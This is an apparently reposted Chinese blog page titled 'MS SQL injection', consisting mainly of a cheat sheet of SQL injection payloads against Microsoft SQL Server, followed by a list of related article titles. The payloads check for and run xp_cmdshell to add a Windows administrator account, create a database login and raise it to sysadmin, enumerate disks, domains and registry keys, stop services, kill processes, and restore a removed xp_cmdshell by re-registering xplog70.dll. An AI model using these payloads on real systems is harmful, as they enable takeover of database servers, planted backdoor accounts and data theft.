MS SQL 注入
来源:互联网 发布:linux alias 加参数 编辑:程序博客网 时间:2024/05/19 16:34
--是否存在xp_cmdshell and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell') --用xp_cmdshell执行命令 ;exec master..xp_cmdshell "net user name password /add"-- ;exec master..xp_cmdshell "net localgroup name administrators /add"-- --查看权限 and (select IS_SRVROLEMEMBER('sysadmin'))=1-- //sa and (select IS_MEMBER('db_owner'))=1-- // dbo and (select IS_MEMBER('public'))=1-- //public --创建个登陆mssql的帐号 ;exec master.dbo.sp_addlogin name,pass;-- --把创建的mssql登陆帐号提升到sysadmin ;exec master.dbo.sp_addsrvrolemember name,sysadmin
有用的扩展
--获得MS SQL的版本号 //mssql版本
execute master..sp_msgetversion // dbo public
--得到硬盘文件信息 //dbo public
--参数说明:目录名,目录深度,是否显示文件 //读取磁盘目录和文件
execute master..xp_dirtree 'c:' //列出所有c:/文件和目录,子目录
execute master..xp_dirtree 'c:',1 //只列c:/文件夹
execute master..xp_dirtree 'c:',1,1 //列c:/文件夹加文件
--列出服务器上所有windows本地组
execute master..xp_enumgroups //dbo
--得到当前sql server服务器的计算机名称 //获得计算机名
execute master..xp_getnetname //dbo public
--列出指定目录的所有下一级子目录
EXEC [master].[dbo].[xp_subdirs] 'c:/WINNT' //可以列目录
--列出服务器上固定驱动器,以及每个驱动器的可用空间
execute master..xp_fixeddrives //dbo public
--显示系统上可用的盘符
execute master..xp_availablemedia //dbo
--获取某文件的相关属性
execute master..xp_getfiledetails 'C:1.txt' //dbo public
--统计数据库里每个表的详细情况
exec sp_MSforeachtable 'sp_spaceused ''?''' //查询表 //dbo public
--获得每个表的记录数和容量
exec sp_MSforeachtable 'select ''?''','?', 'sp_spaceused ''?''', 'SELECT count(*) FROM ? ' //dbo pubilc
--更新Table1/Table2中note列为NULL的值
sp_MSforeachtable 'Update ? Set note='''' Where note is null',null,null,null,' AND o.name in (''Table1'',''Table2'')
--列出服务器域名
xp_ntsec_enumdomains //机器名 //dbo public
--停止或者启动某个服务
xp_servicecontrol 'stop','schedule' //schedule是服务得名称 //dbo
--用pid来停止某个执行中的程序
xp_terminate_process 123 //123是pid //dbo
--只列某个目录下的子目录
dbo.xp_subdirs 'C:' //dbo
--服务器安全模式信息
xp_loginconfig //dbo
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
--将新扩展存储过程的名称注册到 Microsoft? SQL Server? 上。
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll' //恢复xp_cmdshell
恢复过程sp_addextendedproc 如下:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
创建新的 Microsoft? SQL Server? 登录//只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 sp_addlogin。
xp_cmdshell的删除及恢复 恢复xp_cmdshell的方法 删除扩展存储过过程xp_cmdshell的语句 exec sp_dropextendedproc ’xp_cmdshell’ 恢复cmdshell的sql语句 exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’ exec master.dbo.addextendedproc ’xp_cmdshell’,’xplog70.dll’;select count(*) from master.dbo.sysobjects where xtype=’x’ and 返回结果为1就ok 否则需上传c:/inetput/web/xplog70.dll后 exec master.dbo.sp_addextendedproc ’xp_cmdshell’,’c:/inetput/web/xplog70.dll’;-- 如果是用以下方法删除 drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc ’xp_cmdshell’ 则可以用以下语句恢复 dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 这样可以直接恢复,不用去管sp_addextendedproc是不是存在
- ms sql 注入安全
- MS SQL 注入
- MS SQL 注入总结
- MS SQL 注入的原理与防护讲座
- Sybase内的MS SQL Server 注入技术
- 由MS SQL SERVER错误引发的注入
- MS SQL注入碰到关键词被过滤后的解决思路
- MS SQL SQL TIPS
- SQL注入--GET注入
- 注入攻击--SQL注入
- 【sql注入】mysql注入
- SQL注入
- SQL注入
- SQL注入
- sql注入
- SQL注入
- SQL注入
- SQL注入
- windows crypto API 笔记
- 《C++编程规范-101条规则 准则与最佳实践》读书笔记
- VC CString 转 UTF-8
- 一些德语笑话
- Log4j模块
- MS SQL 注入
- 怎么才能使用静态链接库的资源?
- 3D游戏引擎
- .net连接access实现增删差该
- 上帝是位数学家
- .net异步编程
- VC 新手的错误!
- web 数学公式
- 使用Access数据库站点的渗透思路